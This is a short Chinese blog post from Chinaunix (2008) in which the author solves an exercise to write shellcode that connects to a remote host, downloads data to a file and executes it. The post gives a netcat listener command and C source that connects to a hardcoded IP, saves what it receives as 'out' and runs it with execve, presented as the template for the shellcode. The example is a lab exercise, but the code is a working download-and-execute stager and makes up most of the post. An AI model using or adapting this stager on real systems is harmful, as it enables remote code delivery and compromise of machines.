Chinaunix首页 | 论坛 | 博客
  • 博客访问: 19977
  • 博文数量: 8
  • 博客积分: 290
  • 博客等级: 二等列兵
  • 技术积分: 90
  • 用 户 组: 普通用户
  • 注册时间: 2008-03-20 23:45
文章分类
文章存档

2011年(1)

2008年(7)

我的朋友
最近访客

分类: 网络与安全

2008-03-29 22:20:18

问题:编写一个连接到远程主机的shellcode,从主机上将数据读到一个文件中,然后执行该文件。

我用C语言完成了该问题。解决过程如下:
   用VMWARE运行FreeBSD系统,在其上运行:nc -l 43690 < hello(FreeBSD上不需要 -p 选项)。
   在Ubuntu主机上运行reservexecve,通过反向连接方式连接到FreeBSD上,从其上将hello文件的内容读到本地的out文件中。然后运行out,正确的输出:hello world。

reservexecve的C语言代码如下,可以据此编写shellcode:

#include
#include
#include

int sock, rc, fd, bufl;
int buf[1024];
struct sockaddr_in serv_addr;

int main()
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0x80e210ac; // ip of FreeBSD at Vmware
serv_addr.sin_port = 0xAAAA;
sock = socket(2, 1, 0);
rc = connect(sock, (struct sockaddr *)&serv_addr, 0x10);
fd = open("out", 1);
bufl = read(sock, buf, 1024);
write(fd, buf, bufl);
close(fd);
execve("./out", 0, 0);
}


阅读(537) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~